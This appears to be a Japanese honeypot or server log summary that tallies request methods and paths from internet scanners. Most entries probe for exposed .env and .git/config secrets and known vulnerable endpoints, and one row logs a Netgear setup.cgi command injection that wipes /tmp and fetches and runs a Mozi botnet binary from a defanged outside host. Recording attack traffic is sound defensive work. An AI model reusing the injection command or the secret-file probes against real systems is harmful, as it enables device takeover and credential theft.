1	`Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1`
3	`Mozilla/5.0 zgrab/0.x`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_13.67.44.234_80`
2		`\x16\x03\x01\x01H\x01`
1		`\x16\x03\x01\x02`
17		`\x16\x03\x01`
1	CONNECT	`google[.]com:443`	HTTP/1.1
32	GET	`/.env`	HTTP/1.1
2	GET	`/.git/config`	HTTP/1.1
1	GET	`//.env`	HTTP/1.1
1	GET	`/13.67.44.234/.env`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/admin/.env`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
1	GET	`/app/config/.env`	HTTP/1.1
1	GET	`/apps/.env`	HTTP/1.1
1	GET	`/audio/.env`	HTTP/1.1
1	GET	`/backend/.env`	HTTP/1.1
1	GET	`/base/.env`	HTTP/1.1
1	GET	`/blog/.env`	HTTP/1.1
1	GET	`/cgi-bin/.env`	HTTP/1.1
1	GET	`/conf/.env`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/crm/.env`	HTTP/1.1
1	GET	`/database/.env`	HTTP/1.1
1	GET	`/donghuapian/baishe2qingshejieqi/`	HTTP/1.1
5	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/hudson`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/library/.env`	HTTP/1.1
1	GET	`/local/.env`	HTTP/1.1
1	GET	`/new/.env`	HTTP/1.1
1	GET	`/newsite/.env`	HTTP/1.1
1	GET	`/old/.env`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
1	GET	`/protected/.env`	HTTP/1.1
1	GET	`/pub/god/`	HTTP/1.1
1	GET	`/pub/god`	HTTP/1.1
1	GET	`/public/.env`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//59[.]89[.]226[.]250:34517/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/sites/all/libraries/mailchimp/.env`	HTTP/1.1
1	GET	`/src/.env`	HTTP/1.1
1	GET	`/storage/.env`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.0
1	GET	`/vendor/.env`	HTTP/1.1
1	GET	`/vendor/laravel/.env`	HTTP/1.1
2	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/wp-admin/.env`	HTTP/1.1
1	GET	`/wp-content/.env`	HTTP/1.1
1	GET	`/www/.env`	HTTP/1.1
1	GET	`http[:]//azenv[.]net/`	HTTP/1.1
2	HEAD	`/`	HTTP/1.1
1	OPTIONS	`/`	HTTP/1.0
6	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	PRI	`*`	HTTP/2.0